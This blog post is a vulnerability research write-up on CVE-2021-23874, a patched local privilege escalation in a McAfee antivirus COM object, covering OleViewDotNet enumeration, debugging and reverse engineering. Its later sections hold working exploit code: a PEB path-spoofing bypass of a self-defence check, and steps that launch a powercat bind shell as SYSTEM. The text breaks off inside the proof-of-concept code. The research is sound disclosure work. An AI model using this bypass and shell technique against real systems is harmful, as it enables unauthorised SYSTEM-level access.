Normal view

There are new articles available, click to refresh the page.
Before yesterdaythe-deniss.github.io

Discovering and exploiting McAfee COM-objects (CVE-2021-23874)

17 May 2021 at 23:00

0x00: Introduction

In February McAffee fixed 2 vulnerabilities (CVE-2021-23874 and CVE-2021-23875) in their flagship consumer anti-virus (AV) product McAfee Total Protection. These issues were local privilige escalations and CVE-2021-23874 was present in McAfee’s COM-object. As it seems to me the topic of hunting bugs in COM-objects isn’t very well covered on the Internet. So this post should fill this gap and show an approach to finding COM-object’s bugs with an example CVE-2021-23874. On the other hand, the post can be considered as a real world walkthrough with OleViewDotNet (OVDN).

0x01: Prerequisites

To successfully reproduce the steps described in the following sections, you need:

  1. McAfee Total Protection 16.0 R28;
  2. OVDN commit 55b5cb0 (and later). An up-to-dated version is necessary, since it fixes bugs that are needed for correct work of used cmdlets, and these fixes haven’t been included in the v1.11 release yet;
  3. OS Windows (any version, but I used 2004 x64);
  4. WinDbg;
  5. IDA Free or any other powerful disassembler.

0x02: Attack Surface Enumeration

If we are hunting for LPE in COM-objects of a specific Product and in this case it is McAfee Total Protection, then we are interested in objects with 3 following characteristics:

  1. COM-objects are installed into the system by this particular Product;
  2. COM-objects are launched out-of-process (OOP) in the context of a privileged user (in this case “NT Authority\System”);
  3. We have access to the COM-object interface from our privilege level.

All 3 characteristics are mandatory, so let’s go in order.

An obvious and pretty simple approach to find the COM-objects installed by product is to take the first snapshot before installation, then install the product, take the second snapshot after installation and compare with each other. This can be done using ASA, but we will do it with OVDN, since it is more scriptable, fast and easy for further research.

To collect an initial snapshot of installed COM-objects we need to run powershell with the specified bitness (in this case x86), import OVDN and type the following commands:

PS C:\> $comDb_old = Get-ComDatabase -PassThru
PS C:\> Set-ComDatabase -Path ComDb_old.db -Database $comDb_old 

The powershell’s bitness is important because of the way the OVDN works: for example, x64 version can collect COM-objects information only from *\SOFTWARE\Classes, and x86 - only from *\SOFTWARE\WOW6432Node\Classes. At the same time, x64 version can parse both x64 and WoW64-processes, and x86 version - only WoW64-processes. Thus, there is no single rule of when and what OVDN of a specific bitness can do, but I can give simple advice to use 32-bit OVDN for 32-bit COM-entries, 64-bit OVDN - for 64-bit entries. And for security research use both versions.

The above commands collect information about registered COM-objects and serialize it to the file ComDb_old.db. Next, we need to install the product. In this case, it is McAfee Total Protection 16.0 R28. And after a successful installation, we collect the database of registered COM-objects again and find the differences with the snapshot collected in the previous step:

PS C:\> $comDb = Get-ComDatabase -PassThru
PS C:\> $comDb_old = Get-ComDatabase -Path ComDb_old.db -PassThru
PS C:\> $comDiff = Compare-ComDatabase -Left $comDb_old -Right $comDb -DiffMode RightOnly

Now we have a list of changes in variable $comDiff and we want to filter them to see OOP COM-objects running under the “NT Authority\System” account and accessible from our privilege level:

PS C:\> $comsAsSystem = $comDiff.AppIDs.Values | `
    Where-Object -FilterScript { $_.IsService -eq $True -or $_.RunAs -ieq "nt authority\system" }
PS C:\> $comsAsSystem | `
    Select-ComAccess -ProcessId (Get-Process -Name explorer).Id -Principal S-1-5-18

Name                     AppID                                IsService  HasPermission
----                     -----                                ---------  -------------
lfsvc                    020fb939-2c8b-4db7-9e90-9527966e38e5 True       True
AppReadiness Service     88283d7c-46f4-47d5-8fc2-db0b5cf0cb54 True       True
Bluetooth AVCTP Service  b98c6eb5-6aa7-471e-b5c5-d04fd677db3b True       True

When in second command we test for accessible COM-objects, we must use the -Principal parameter to replace SELF SID with appropriate SID under which the COM-object will run. As we can see from the command output, there are no McAfee’s COM-objects in the system accessible from our privilege level. And here, in theory, the research could end but if we remember that access in terms of the cmdlet Select-ComAccess means to have rights to launch and access COM-object, then we can try to see objects accessible only for launch:

PS C:\> $comsAsSystem | `
    Select-ComAccess -ProcessId (Get-Process -Name explorer).Id -Principal S-1-5-18 -LaunchAccess ActivateLocal, ExecuteLocal -Access 0

Name                           AppID                                IsService  HasPermission
----                           -----                                ---------  -------------
lfsvc                          020fb939-2c8b-4db7-9e90-9527966e38e5 True       True
Experimentation Broker         2568bfc5-cdbe-4585-b8ae-c403a2a5b84a True       True
netman                         27af75ed-20d9-11d1-b1ce-00805fc1270e True       True
McGenericCacheShim Class       67bc8c92-fa16-4991-9156-9ccba3584e5e True       True
McAfee LAM Repair Class        6be14203-35ad-4380-a10e-e7cb19471e44 False      False
Windows Insider Service        7006698d-2974-4091-a424-85dd0b909e23 True       True
HomeNetSvc                     73779221-6e6e-46d8-927e-63f67390d095 False      False
McAWFwk                        77b97c6a-cd4e-452c-8d99-08a92f1d8c83 True       False
MSC Protection Manager Serv... 7a0bf9a1-9298-48cb-9db4-b167469ebe5c False      False
McAWFwk                        7d555a20-6721-4c54-9713-6a0372868c62 True       False
AppReadiness Service           88283d7c-46f4-47d5-8fc2-db0b5cf0cb54 True       True
McAfee MCODS                   9a949ab4-7f25-4fea-bfe6-efa897d48401 False      False
Bluetooth AVCTP Service        b98c6eb5-6aa7-471e-b5c5-d04fd677db3b True       True
Platform Services Subsystem    ba79a213-d326-4fb8-89eb-deb2d5b82930 False      False
LxpSvc                         bce82fb7-43f4-4827-a503-69e561667293 True       False
McAfee VirusScan Announcer     decbf619-9830-47cd-870e-975f7fbc28bc False      False
OneSetttings Broker            e055b85b-22bd-4e15-a34d-46c58ab320ad True       True
McMPFSvc                       e0ad45ad-96c8-4a6a-891f-cfd9781b7c59 False      False
Feature Usage Listener         eab99738-0adf-4a53-856c-de58afde7682 True       True

Now we see a list of more COM-objects, among which there are objects that clearly belong to the product McAfee Total Protection. Still, we can launch some instances of COM-objects of interest to us. Let’s take one of them, for example with AppId 77b97c6a-cd4e-452c-8d99-08a92f1d8c83, and figure out why there is no full access rights, but there is launch access rights:

PS C:\> $coManageOemAppId = Get-ComAppId -AppId 77b97c6a-cd4e-452c-8d99-08a92f1d8c83
PS C:\> $coManageOemAppId.ClassEntries

Name                CLSID                                DefaultServerName
----                -----                                -----------------
CoManageOem Class   77b97c6a-cd4e-452c-8d99-08a92f1d8c83 <APPID HOSTED>
PS C:\> $coManageOemAppId

Name      AppID                                IsService  HasPermission
----      -----                                ---------  -------------
McAWFwk   77b97c6a-cd4e-452c-8d99-08a92f1d8c83 True       False

The COM-object CoManageOem Class with AppId name McAWFwk uses the default security descriptor. So let’s decode the default launch rights in human-readable form:

PS C:\> Show-ComSecurityDescriptor -SecurityDescriptor $coManageOemAppId.DefaultLaunchPermission

Launch rights for 77b97c6a-cd4e-452c-8d99-08a92f1d8c83

And decode the default access rights:

PS C:\> Show-ComSecurityDescriptor -SecurityDescriptor $coManageOemAppId.DefaultAccessPermission -ShowAccess

Access rights for 77b97c6a-cd4e-452c-8d99-08a92f1d8c83

All right, COM-object’s security descriptor confirms the results obtained from the Select-ComAccess cmdlet.

0x03: COM-object Access Rights Check

In the previous section we saw that we can start the COM-server and get an instance of the implemented COM-object. But then we will not have access rights to call its methods. Obviously, this is not very promising for vulnerability hunting initial data, but still we will try to get a pointer to a COM-object instance:

PS C:\> $coManageOemClass = Get-ComClass -Clsid $coManageOemAppId.ComGuid
PS C:\> New-ComObject -Class $coManageOemClass
Exception calling "CreateInstanceAsObject" with "2" argument(s): "No such interface supported
No such interface supported
"
At C:\...\OleViewDotNet.psm1:1601 char:17
+ ...             $obj = $Class.CreateInstanceAsObject($ClassContext, $Remo ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : InvalidCastException

We cannot create an object because the interface is not supported. Which one? IClassFactory. CreateInstanceAsObject internally uses CoCreateInstance, which encapsulates the following code:

CoGetClassObject(rclsid, dwClsContext, NULL, IID_IClassFactory, &pCF); 
hresult = pCF->CreateInstance(pUnkOuter, riid, ppvObj) 
pCF->Release();

And the error is thrown because, as we’ll see this a little further, the factory doesn’t implement the IClassFactory interface.

Then let’s try to look the interfaces that the COM-object implements:

PS C:\> Get-ComClassInterface $coManageOemClass | Select Name, Iid

Nothing. Here is the same problem as in the previous case. Internally OVDN, to get a list of supported interfaces, creates an object using CoCreateInstance, and then calls QueryInterface for a set of known interfaces, then for all interfaces registered in HKCR\Interface, and then using the IInspectable interface. But since for a successful call to CoCreateInstance it is necessary that the factory implements the IClassFactory interface, it is impossible to create an object and therefore it is impossible to query it for the implementation of other interfaces.

Let’s try to look the interfaces that the COM-object factory implements:

PS C:\> Get-ComClassInterface -Factory $coManageOemClass | Select Name, Iid

Name            Iid
----            ---
IMarshal        00000003-0000-0000-c000-000000000046
IMarshal2       000001cf-0000-0000-c000-000000000046
IUnknown        00000000-0000-0000-c000-000000000046
IMcClassFactory fd542581-722e-45be-bed4-62a1be46af03

IMcClassFactory interface looks interesting. We can quickly see what it is by analyzing the ProxyStub:

PS C:\> Get-ComInterface -Name IMcClassFactory | Get-ComProxy | Format-ComProxy

[Guid("fd542581-722e-45be-bed4-62a1be46af03")]
interface IMcClassFactory : IUnknown {
    HRESULT Proc3(/* Stack Offset: 4 */ [In] int p0, /* Stack Offset: 8 */ [In, Out] /* C:(FC_TOP_LEVEL_CONFORMANCE)(4)(FC_ZERO)(FC_ULONG)(0) */ byte[]* p1, /* Stack Offset: 12 */ [In] GUID* p2, /* Stack Offset: 16 */ [Out] /* iid_is param offset: 12 */ IUnknown** p3);
}

Proc3 declaration is very similar to IClassFactory::CreateInstance. But this is just an observation.

From powershell we can create a factory object and get a pointer to it, thus starting the COM-server:

PS C:\> $coManageOemFactory = New-ComObjectFactory -Class $coManageOemClass
Exception calling "Wrap" with "2" argument(s): "Unable to cast COM object of type 'System.__ComObject' to interface
type 'OleViewDotNet.IClassFactory'. This operation failed because the QueryInterface call on the COM component for the
interface with IID '{00000001-0000-0000-C000-000000000046}' failed due to the following error: No such interface
supported (Exception from HRESULT: 0x80004002 (E_NOINTERFACE))."
At C:\...\OleViewDotNet.psm1:90 char:13
+             [OleViewDotNet.Wrappers.COMWrapperFactory]::Wrap($Object, ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : InvalidCastException

The error occurs because the code inside New-ComObjectFactory is trying to wrap an object in a callable wrapper that implements the IClassFactory interface, but this COM-object doesn’t implement it (as we already know). Let’s try to create object without a wrapper:

PS C:\> $coManageOemFactory = New-ComObjectFactory -Class $coManageOemClass -NoWrapper

Good. We created a factory instance and got a raw pointer to it. This pointer is pretty useless in powershell:

PS C:\> $coManageOemFactory
System.__ComObject

But it is important for us that we have started the server that hosts the COM-object. And now we can investigate the process:

PS C:\> $coManageOemAppId.ServiceName
McAWFwk

The COM-object is hosted in the service McAWFwk, respectively, in the process with the name McAWFwk.exe. And we can see once again (now dynamically), if we have access to the COM-object in the process McAWFwk.exe. For COM-process parsing we use cmdlet Get-ComProcess and for access checking - already known Select-ComAccess:

PS C:\> Get-ComProcess -Name McAWFwk | Select-ComAccess -ProcessId (Get-Process -Name explorer).Id
ProcessId            : 396
ExecutablePath       : C:\Program Files\Common Files\McAfee\ActWiz\McAWFwk.exe
Name                 : McAWFwk
Ipids                : {IPID: 00001000-018c-0000-0e32-16ac744c0ec0 IRundown,
                       IPID: 00008801-018c-ffff-b88b-86753a985eda IRundown,
                       IPID: 00009002-018c-0000-c423-83b6f2efa724 ILocalSystemActivator,
                       IPID: 00008803-018c-0000-a9f7-7cb9cdfdb224 IUnknown}
RunningIpids         : {IPID: 00001000-018c-0000-0e32-16ac744c0ec0 IRundown,
                       IPID: 00008801-018c-ffff-b88b-86753a985eda IRundown,
                       IPID: 00009002-018c-0000-c423-83b6f2efa724 ILocalSystemActivator,
                       IPID: 00008803-018c-0000-a9f7-7cb9cdfdb224 IUnknown}
Is64Bit              : True
AppId                : 7d555a20-6721-4c54-9713-6a0372868c62
AccessPermissions    : D:NO_ACCESS_CONTROL
LRpcPermissions      : D:(A;;0xeff3ffff;;;WD)(A;;0xeff3ffff;;;AN)(A;;GR;;;AC)(A;;GR;;;S-1-15-3-1024-2405443489-874036122-4286035555-1823921565-1746547431-2453885448-3625952902-991631256)
User                 : NT AUTHORITY\SYSTEM
UserSid              : S-1-5-18
...

Select-ComAccess returned the COM-process object, which means that we have access to it from our privilege level. And we can see that COM-object has no access control. But why? We saw in the previous section the prohibitive access rights.

0x04: Bug

In order to understand what is going on, it is enough to attach using a debugger (in this case WinDbg) to the McAWFwk service at its start and set a breakpoint to the beginning of the function CoInitializeSecurity. Having done this, let’s see the parameters passed to the function:

kd> k
 # Child-SP          RetAddr           Call Site
00 000000eb`4f4ffc78 00007ff7`0a2cddc4 combase!CoInitializeSecurity [onecore\com\combase\dcomrem\security.cxx @ 3178] 
01 000000eb`4f4ffc80 00000000`00000208 McAWFwk+0xddc4
02 000000eb`4f4ffc88 000000eb`4f2ff980 0x208
03 000000eb`4f4ffc90 000000eb`4f4ffce0 0x000000eb`4f2ff980
04 000000eb`4f4ffc98 000000eb`4f2ff980 0x000000eb`4f4ffce0
05 000000eb`4f4ffca0 00000000`00000000 0x000000eb`4f2ff980
kd> dv /i
prv param             pVoid = 0x00000000`00000000
prv param          cAuthSvc = 0n-1
prv param         asAuthSvc = 0x00000000`00000000
prv param        pReserved1 = 0x00000000`00000000
prv param      dwAuthnLevel = 0
prv param        dwImpLevel = 3
prv param        pReserved2 = 0x00000000`00000000
prv param    dwCapabilities = 0
prv param        pReserved3 = 0x00000000`00000000
prv local        stackTrace = class ObjectLibrary::ReferencedPtr<StackTrace>
...

The displayed stack is a little bit wrong, but the last frames are correct and that’s enough for us. It is important that the pSecDesc parameter is nullptr and dwCapabilities is also 0. What this means can be found on msdn, but I like the explanation from the book “Inside COM+: Base Services”:

If neither the EOAC_APPID nor EOAC_ACCESS_CONTROL flag is set in the dwCapabilities parameter, CoInitializeSecurity interprets pSecDesc as a pointer to a Win32 security descriptor structure that is used for access checking. If pSecDesc is NULL, no ACL checking is performed.

I.e. the COM-object has a safe default DACL in the registry, which does not allow us to access the object from our privilege level. But at startup the COM-object overrides it and makes itself available to the attacker. It is interesting that this attack surface is absent in static analysis, but appears in dynamic.

Obviously, we get an attack surface that was not foreseen at the design stage. Therefore it becomes very promising to hunting bugs in this component.

0x05: COM-object Implementation RE

The next important question is the functionality that this COM-object implements and exposes. The only way to research this is reverse engineering (RE). And the starting point will be to find out the address of the vtable of the COM-object factory:

PS C:\> (Get-ComProcess -Name McAWFwk -ParseRegisteredClasses).Classes | Format-List
Name         :
Clsid        : 77b97c6a-cd4e-452c-8d99-08a92f1d8c83
ClassEntry   :
ClassFactory : 140702464808720
VTable       : McAWFwk+0x56F78
Apartment    : MTA
RegFlags     : MULTIPLEUSE
Cookie       : 34
ThreadId     : -1
Context      : INPROC_SERVER, LOCAL_SERVER
ProcessID    : 396
ProcessName  : McAWFwk
Registered   : False
Process      : 396 McAWFwk

Name         :
Clsid        : 7d555a20-6721-4c54-9713-6a0372868c62
...

Next we go to the disassembler (in this case IDA) and see the table of virtual methods of the COM-object factory at address McAWFwk+0x56F78:

CoManageOemFactory virtual table

Obviously, we are interested in Proc3. Based on the logic of the factory this function will allow you to create an object - the method presented in the vtable after QueryInterface, AddRef and Release. Here’s a simplified listing of Proc3, which I named CoManageOEMFactory::InternalCreateObjectWrapper:

InternalCreateObjectWrapper listing

The method CoManageOEMFactory::InternalCreateObjectWrapper checks that the call comes from a valid module and delegates the work to Proc4 from CoManageOemFactory vtable. The parameters are passed as-is. Since the COM-object is OOP, our code does not in any way affect the validity of the module from which InternalCreateObjectWrapper is called, and therefore the ValidateModule check will always be successful and will return 0, which will prevent us from getting the ACCESS_DENIED error.

Let’s look at the listing of Proc4 (or as I named it CoManageOEMFactory::InternalCreateObject):

InternalCreateObject listing

As we can see in the above listing, the method calls the McCreateInstance function with the arguments GUID e66d03f6-c1cf-4d8c-997c-fae8763375f6 and IID 9b6c414a-799d-4506-87d1-6eb78d0a3580. Next in the pManageOem argument we get a pointer to the COM-object from which the user-specified interface is queried. Let’s see what happens in the McCreateInstance function:

McCreateInstance listing

McCreateInstance receives a pointer to the IMcClassFactory factory interface of the object, the CLSID of which was passed as an argument, and then, using this factory, creates an object and returns an interface pointer of the specified type to the object. In fact, McCreateInstance is semantically identical to CoCreateInstance, with the difference that the latter uses the IClassFactory interface to create an object, and the former uses IMcClassFactory.

Now it is clear that the method CoManageOEMFactory::InternalCreateObjectWrapper creates within itself an object with CLSID e66d03f6-c1cf-4d8c-997c-fae8763375f6 that implements the IMcClassFactory factory, then queries the specified interface and returns it to the client. Let’s see what kind of object is being created:

PS C:\> $manageOemClass = Get-ComClass -PartialClsid 'e66d03f6'
PS C:\> $manageOemClass

Name             CLSID                                DefaultServerName
----             -----                                -----------------
ManageOem Class  e66d03f6-c1cf-4d8c-997c-fae8763375f6 McDspWrp.dll

PS C:\> Get-ComClassInterface -ClassEntry $manageOemClass
PS C:\> Get-ComClassInterface -ClassEntry $manageOemClass -Factory

Name             IID                                  Module        VTableOffset
----             ---                                  ------        ------------
IUnknown         00000000-0000-0000-c000-000000000046 McDspWrp.dll  1012304
IMcClassFactory  fd542581-722e-45be-bed4-62a1be46af03 McDspWrp.dll  1012304

Again, we cannot get a list of interfaces that the COM-object implements, since its factory doesn’t implement IClassFactory interface. Then let’s see the definition of the interface 9b6c414a-799d-4506-87d1-6eb78d0a3580 that is queried from the COM-object in the method CoManageOEMFactory::InternalCreateObjectWrapper:

PS C:\> Get-ComInterface -PartialIid '9b6c414a'

Name        IID                                  HasProxy  HasTypeLib
----        ---                                  --------  ----------
IManageOem  9b6c414a-799d-4506-87d1-6eb78d0a3580 True      True

For the interface IManageOem, there is a ProxyStub Dynamic-Link Library (DLL), which can be decompiled, and a TypeLib, from which information can be extracted. We use a TypeLib because it contains more information:

PS C:\> $manageOemTypeLib = Get-ComTypeLib -Iid 9b6c414a-799d-4506-87d1-6eb78d0a3580
PS C:\> Get-ComTypeLibAssembly $manageOemTypeLib | Format-ComTypeLib

The output contains many different types, structures and interface definitions from TypeLib, but for us the only interesting thing is the definition of interface IManageOem:

[Guid("9b6c414a-799d-4506-87d1-6eb78d0a3580")]
interface IManageOem : IDispatch
{
   /* Methods */
   string GetTempFileName(string bstrPath);
   tagMCREGIST_RETURN_CODE RunProgram(string bstrExePath, string bstrCmdLine);
   ...
   object RunProgramAndWait(string bstrAppName, string bstrCmdLine);
   object RunProgramAndWaitEx(string bstrAppName, string bstrCmdLine, string bstrWorkingDir);
   ...
   tagMCREGIST_RETURN_CODE RegCreateKey(string bstrKeyPath);
   tagMCREGIST_RETURN_CODE RegDeleteKey(string bstrKeyPath);
   ...
   tagMCREGIST_RETURN_CODE RegSetValue(string bstrKeyPath, string bstrValueName, object vValue);
   tagMCREGIST_RETURN_CODE RegDeleteValue(string bstrKeyPath, string bstrValueName);
   ...
   tagMCREGIST_RETURN_CODE IniWriteValue(string bstrIniFilePath, string bstrSectionName, string bstrKeyName, [Optional] object vValue);
   ...
   bool RemoveFiles(string bstrFilePath);
   ...
   bool CopyFiles(string bstrSourcePath, string bstrDestPath, bool vbFailIfExists);
   bool RemoveFolder(string bstrFolder, bool vbDelSubFolders);
   ...
   bool SetFileAttributes(string bstrFilePath, int lAttributes);
   ...
   void CreateTaskScheduleEntry(string bstrTaskname, object dwNextrun, object dwDefaultFreq);
   void DeleteTask(string bstrTaskname);
   ...
   string ReadFile(string varFilePath, bool bBase64);
   ...
}

The interface IManageOem contains many attractive methods, but only the most promising are shown in the listing above. To find out the address of the function that implements the specific interface method, we must take the following steps:

  1. Attach WinDbg to McAWFwk.exe process and set a breakpoint on the instruction after returning from the McCreateInstance function;
  2. Write and execute client code that will call the CoManageOEMFactory::InternalCreateObject method;
  3. Dump the returned in step 1 memory and find the address of the function by index.

To find the instruction on which to set a breakpoint, we need to disassemble the method CoManageOEMFactory::InternalCreateObject implemented in McAWFwk.exe binary:

InternalCreateObject disasm

Instruction test rcx, rcx at address McAWFwk + 0xc2f1 checks the value of the pointer pManageOem returned from the function McCreateInstance. So, after the successful completion of the function McCreateInstance, the register rcx contains the address of the object, at offset 0 in which address of the first virtual table is located.

Client code that calls the method CoManageOEMFactory::InternalCreateObject is shown below:

class __declspec(uuid("fd542581-722e-45be-bed4-62a1be46af03")) IMcClassFactory :
    public IUnknown
{
public:
    virtual HRESULT __stdcall InternalCreateObject(
        _In_ REFIID riid,
        _COM_Outptr_ void **ppvObject);
};

_COM_SMARTPTR_TYPEDEF(IMcClassFactory, __uuidof(IMcClassFactory));

int main()
{
    try
    {
        HRESULT hr = ::CoInitializeEx(0, COINIT_MULTITHREADED);
        if (FAILED(hr))
            throw std::runtime_error("CoInitializeEx failed. Error: " + std::to_string(hr));
        auto coUninitializeOnExit = wil::scope_exit([] {::CoUninitialize(); });

        const GUID CLSID_CoManageOem =
            { 0x77b97c6a, 0xcd4e, 0x452c, { 0x8d, 0x99, 0x08, 0xa9, 0x2f, 0x1d, 0x8c, 0x83 } };
        IMcClassFactoryPtr pMcClassFactory;

        hr = ::CoGetClassObject(
            CLSID_CoManageOem,
            CLSCTX_LOCAL_SERVER,
            nullptr,
            IID_PPV_ARGS(&pMcClassFactory));
        if (FAILED(hr))
            throw std::runtime_error("CoGetClassObject failed. Error: " + std::to_string(hr));

        IUnknownPtr pManageOem;

        hr = pMcClassFactory->InternalCreateObject(
            __uuidof(pManageOem), reinterpret_cast<LPVOID *>(&pManageOem));
        if (FAILED(hr))
            throw std::runtime_error("InternalCreateObject failed. Error: " + std::to_string(hr));
    }
    catch (const std::exception &e)
    {
        std::cerr << "Exception: " << e.what() << std::endl;
        return -1;
    }

    return 0;
}

The code is self-explained and I think it doesn’t need any comments. But as a result of the execution of the above code, the program ends with the following error: “Exception: InternalCreateObject failed. Error: -2147024891”. Decimal number -2147024891 converts to the more familiar hexadecimal number 0x8007005 (access denied). But where did error come from? We’ve already seen that COM-object permissions allow us to have access to object’s methods. After a bit of debugging I found that the error returns ProxyStub DLL loaded in client’s application. The code preceding the sending request to create an object is similar to the following:

InternalCreateObjectProxy listing

Check is client-side and it’s obvious that it can be bypassed, but since at the moment the primary task is to examine the methods provided by the COM-object, now we will bypass the validation using the debugger capabilities, and a full bypass will be presented in the next section.

Now when we can set a breakpoint, when the object is already completely constructed and can trigger its creation, it remains to dump its virtual function table. After hitting a breakpoint it will look like this:

kd> bp McAWFwk+0xc2f1
kd> g
Breakpoint 0 hit
McAWFwk+0xc2f1:
0033:00007ff6`a764c2f1 4885c9          test    rcx,rcx
kd> dps poi(rcx)
00007ff8`1a126df8  00007ff8`1a04d058 McDspWrp+0x1d058
00007ff8`1a126e00  00007ff8`1a03c354 McDspWrp+0xc354
00007ff8`1a126e08  00007ff8`1a04cff8 McDspWrp+0x1cff8
00007ff8`1a126e10  00007ff8`1a05cb80 McDspWrp+0x2cb80
00007ff8`1a126e18  00007ff8`1a04d0d0 McDspWrp+0x1d0d0
00007ff8`1a126e20  00007ff8`1a04d134 McDspWrp+0x1d134
00007ff8`1a126e28  00007ff8`1a04d140 McDspWrp+0x1d140
00007ff8`1a126e30  00007ff8`1a04d2d4 McDspWrp+0x1d2d4
00007ff8`1a126e38  00007ff8`1a04d358 McDspWrp+0x1d358
00007ff8`1a126e40  00007ff8`1a04d3dc McDspWrp+0x1d3dc
00007ff8`1a126e48  00007ff8`1a04d460 McDspWrp+0x1d460
00007ff8`1a126e50  00007ff8`1a04d614 McDspWrp+0x1d614
00007ff8`1a126e58  00007ff8`1a04d638 McDspWrp+0x1d638
00007ff8`1a126e60  00007ff8`1a04d208 McDspWrp+0x1d208
00007ff8`1a126e68  00007ff8`1a05c168 McDspWrp+0x2c168
00007ff8`1a126e70  00007ff8`1a04d1e8 McDspWrp+0x1d1e8

The interface IManageOem inherits from IDispatch interface. The interface IDispatch defines 7 methods, so it is obvious that the method RunProgram will be the 7th (numbered from 0) in virtual function table, but in practice, this method was only 14th, with an address McDspWrp+0x2c168. I don’t know why this mismatch is, but my guess is that the cmdlet Get-ComTypeLibAssembly isn’t parsing the TypeLib correctly.

Now let’s look at the decompiled method IManageOem::RunProgram that implements ManageOem Class COM-object:

RunProgram listing

The above code takes attacker-controlled exePath and cmdLine and creates the child process without impersonation, from msdn:

The new process runs in the security context of the calling process

Thus, it is obvious that by calling this method a low-privileged user can execute an arbitrary file in the System context (since McAWFwk is a service) and escalate privileges.

Another interesting point is the code on line 20 that looks like a stack buffer overflow vulnerable. Let’s remember that the parameters are attacker-controlled, stack buffer CommandLine has a fixed size of 1040 widechars and wsprintfW writes these strings to the buffer. And if the attacker sends to the input a string longer than 1040 characters, then it is logical to expect that the return address will be overwritten. But this is not the case, since in the wsprintfW description is mentioned that “maximum size of the buffer is 1,024 bytes” and internally the function really does not write beyond 1024, but characters, not bytes.

As a result, we can launch and access the methods of the COM-object CoManageOem Class. This object implements the interface IMcClassFactory and in the method IMcClassFactory::InternalCreateObject returns an COM-object ManageOem Class, that implements the interface IManageOem. Exposed method IManageOem::RunProgram makes it easy to escalate privileges and run an arbitrary process in context “NT Authority\System”. There remains only one problem - self-defense implemented in the ProxyStub, and bypassing this mechanism will be discussed in the next section.

0x06: Self-Defense Bypass

As we saw in the previous section self-defense for COM-object implemented in ProxyStub DLL that is loaded (by design for marshalling parameters) into the address space of the client (attacker-controlled) process. So obviously we can just overwrite our own code to ignore the error returned from the validation function (I named it ValidateModule in the screenshot above). But this approach is not very robust, as the module may be recompiled in further versions of the product, offsets and instructions may change. And I don’t want to support all the older and newer versions. So we must choose a more elegant solution - find a weakness in the code logic.

The validation implemented in the ValidateModule function performs the following two steps:

  • Gets the path to the module from which the proxy is called using a code like (error handling omitted for simplicity):
hProcess = ::OpenProcess(..., ::GetCurrentProcessId());
::EnumProcessModules(hProcess, hModules, ...);

while (true)
{
    ::GetModuleInformation(hProcess, hModules[i], mi, ...);
    if ((mi->lpBaseOfDll <= callerAddress) && (callerAddress - mi->lpBaseOfDll < mi->SizeOfImage))
    {
        ::GetModuleFileNameExW(hProcess, hModules[i], fileName, ...);
        break;
    }

    ++i;
}

return fileName;
  • Validate the module using a function ValidateModule exported from the library vtploader.dll
hLibrary = ::LoadLibrary("vtploader.dll");
ValidateModule = ::GetProcAddress(v9, "ValidateModule");

ValidateModule(fileName);

We can spoof the path to the module from which the call originates, or we can craft the module to pass the check implemented in vtploader!ValidateModule. It is clear that the former is simpler and requires only a modification of the structure in PEB.

Here is the corresponding C++ code to modify the path to the main (our proof-of-concept (PoC) calls the proxy from the main module, so that’s enough ) binary in PEB::Ldr::InMemoryOrderModuleList:

void MasqueradeImagePath(PCWCHAR imagePath)
{
    PROCESS_BASIC_INFORMATION processBasicInformation;
    ULONG processInformationLength;

    auto ntStatus = ::NtQueryInformationProcess(
        ::GetCurrentProcess(),
        ProcessBasicInformation,
        &processBasicInformation,
        sizeof(processBasicInformation),
        &processInformationLength);
    if (!NT_SUCCESS(ntStatus))
        throw std::runtime_error("NtQueryInformationProcess failed. Error: " + std::to_string(ntStatus));

    UNICODE_STRING usImagePath;
    RtlInitUnicodeString(&usImagePath, imagePath);

    auto moduleBase = ::GetModuleHandle(NULL);
    if (!moduleBase)
        throw std::runtime_error("GetModuleHandle failed. Error: " + std::to_string(::GetLastError()));

    auto pPeb = processBasicInformation.PebBaseAddress;
    auto pLdr = pPeb->Ldr;
    auto pLdrHead = &pLdr->InMemoryOrderModuleList;
    auto pLdrNext = pLdrHead->Flink;

    while (pLdrNext != pLdrHead)
    {
        PLDR_DATA_TABLE_ENTRY LdrEntry = CONTAINING_RECORD(pLdrNext, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (LdrEntry->DllBase == moduleBase)
        {
            LdrEntry->FullDllName = usImagePath;
            break;
        }

        pLdrNext = LdrEntry->InMemoryOrderLinks.Flink;
    }
}

Thus, in order to bypass self-defense, it is necessary to call the above function MasqueradeImagePath with path to any McAfee signed binary as argument before the first COM proxy call is made:

constexpr auto McLaunchExePath =
    LR"(C:\Program Files\McAfee\CoreUI\Launch.exe)"; // Your/path/to/Launch.exe
MasqueradeImagePath(McLaunchExePath);

0x07: Exploitation

Summarizing all the steps together, it turns out that for successful exploitation we need to do the following:

  1. Instantiate CoManageOem Class COM-object in McAWFwk service, get a marshalled pointer to it and query IMcClassFactory interface to factory with ::CoGetClassObject(77b97c6a-cd4e-452c-8d99-08a92f1d8c83, …, fd542581-722e-45be-bed4-62a1be46af03, &pMcClassFactory);
  2. Masquarade PEB to bypass ProxyStub check with MasqueradeImagePath;
  3. Create incapsulated COM-object ManageOem Class, get a marshalled pointer to it and query IManageOem interface to object with pMcClassFactory->InternalCreateObject(9b6c414a-799d-4506-87d1-6eb78d0a3580, &pManageOem);
  4. Call IManageOem::RunProgram to run shell bind TCP listener on localhost:12345 with powershell.exe powercat.ps1 with pManageOem->RunProgram(“powershell.exe”, “. .\powercat.ps1;powercat -l -p 12345 -ep”);
  5. Connect to listener and execute shell commands as SYSTEM with . .\powercat.ps1;powercat -c 127.0.0.1 -p 12345.

Here is a shortened version of the code for exploiting the vulnerability, you can see full version of the PoC on the github:

constexpr auto McLaunchExePath =
    LR"(C:\Program Files\McAfee\CoreUI\Launch.exe)"; // Your/path/to/Launch.exe

class __declspec(uuid("fd542581-722e-45be-bed4-62a1be46af03")) IMcClassFactory :
    public IUnknown
{
public:
    virtual HRESULT __stdcall InternalCreateObject(
        _In_ REFIID riid,
        _COM_Outptr_ void **ppvObject);
};

class __declspec(uuid("9b6c414a-799d-4506-87d1-6eb78d0a3580")) IManageOem :
    public IDispatch
{
public:
    virtual HRESULT Proc7(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
